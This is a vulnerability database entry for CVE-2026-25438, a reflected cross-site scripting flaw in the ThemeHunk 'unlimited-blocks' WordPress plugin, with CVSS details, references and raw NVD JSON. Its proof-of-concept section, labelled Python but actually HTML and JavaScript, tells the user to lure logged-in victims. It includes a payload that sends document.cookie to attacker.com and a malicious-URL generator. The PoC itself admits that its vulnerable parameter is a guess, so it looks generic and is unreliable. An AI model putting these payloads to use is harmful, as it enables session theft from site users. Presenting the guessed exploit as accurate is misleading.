CVE-2026-25438

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk Gutenberg Blocks unlimited-blocks allows Reflected XSS.This issue affects Gutenberg Blocks: from n/a through <= 1.2.8.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

unlimited-blocks <= 1.2.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-25438 PoC - Reflected XSS in WordPress Gutenberg Blocks plugin -->
<!-- Target: unlimited-blocks plugin <= 1.2.8 -->
<!-- Usage: Induce victim to click this link when logged in to WordPress -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-25438 PoC</title>
</head>
<body>
    <h2>CVE-2026-25438 Reflected XSS PoC</h2>
    <p>Target: WordPress Gutenberg Blocks Unlimited Blocks Plugin <= 1.2.8</p>
    
    <p><strong>Malicious URL:</strong></p>
    <code id="maliciousUrl"></code>
    
    <p><strong>XSS Payload:</strong></p>
    <code>&lt;script&gt;document.location='https://attacker.com/steal?cookie='+document.cookie&lt;/script&gt;</code>
    
    <script>
        // Construct the malicious URL based on target site
        var targetBase = window.location.protocol + "//" + window.location.host;
        var xssPayload = "<script>alert('XSS Vulnerability - CVE-2026-25438');document.cookie</script>";
        
        // Example vulnerable parameter (specific parameter depends on actual vulnerability location)
        var maliciousUrl = targetBase + "/?s=" + encodeURIComponent(xssPayload);
        
        document.getElementById("maliciousUrl").textContent = maliciousUrl;
        
        // Display target input field for customization
        document.write('<br><br><label>Target URL: </label>');
        document.write('<input type="text" id="targetUrl" value="' + targetBase + '" style="width:400px;"><br>');
        document.write('<label>Vulnerable Parameter: </label>');
        document.write('<input type="text" id="paramName" value="s" style="width:200px;"><br><br>');
        document.write('<button onclick="generateUrl()">Generate Malicious URL</button>');
        document.write('<p id="result"></p>');
        
        function generateUrl() {
            var base = document.getElementById("targetUrl").value;
            var param = document.getElementById("paramName").value;
            var payload = "<img src=x onerror=alert('CVE-2026-25438 XSS')>";
            var url = base + "/?" + param + "=" + encodeURIComponent(payload);
            document.getElementById("result").innerHTML = "<a href='" + url + "' target='_blank'>" + url + "</a>";
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25438
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25438
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25438/
[4] VulDB https://vuldb.com/cve/CVE-2026-25438
[5] https://patchstack.com/database/Wordpress/Plugin/unlimited-blocks/vulnerability/wordpress-gutenberg-blocks-unlimited-blocks-for-gutenberg-plugin-1-2-8-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25438", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:17.113", "lastModified": "2026-04-23T15:37:09.897", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk Gutenberg Blocks unlimited-blocks allows Reflected XSS.This issue affects Gutenberg Blocks: from n/a through <= 1.2.8."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ThemeHunk Gutenberg Blocks permite XSS Reflejado. Este problema afecta a Gutenberg Blocks: desde n/d hasta 1.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/unlimited-blocks/vulnerability/wordpress-gutenberg-blocks-unlimited-blocks-for-gutenberg-plugin-1-2-8-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}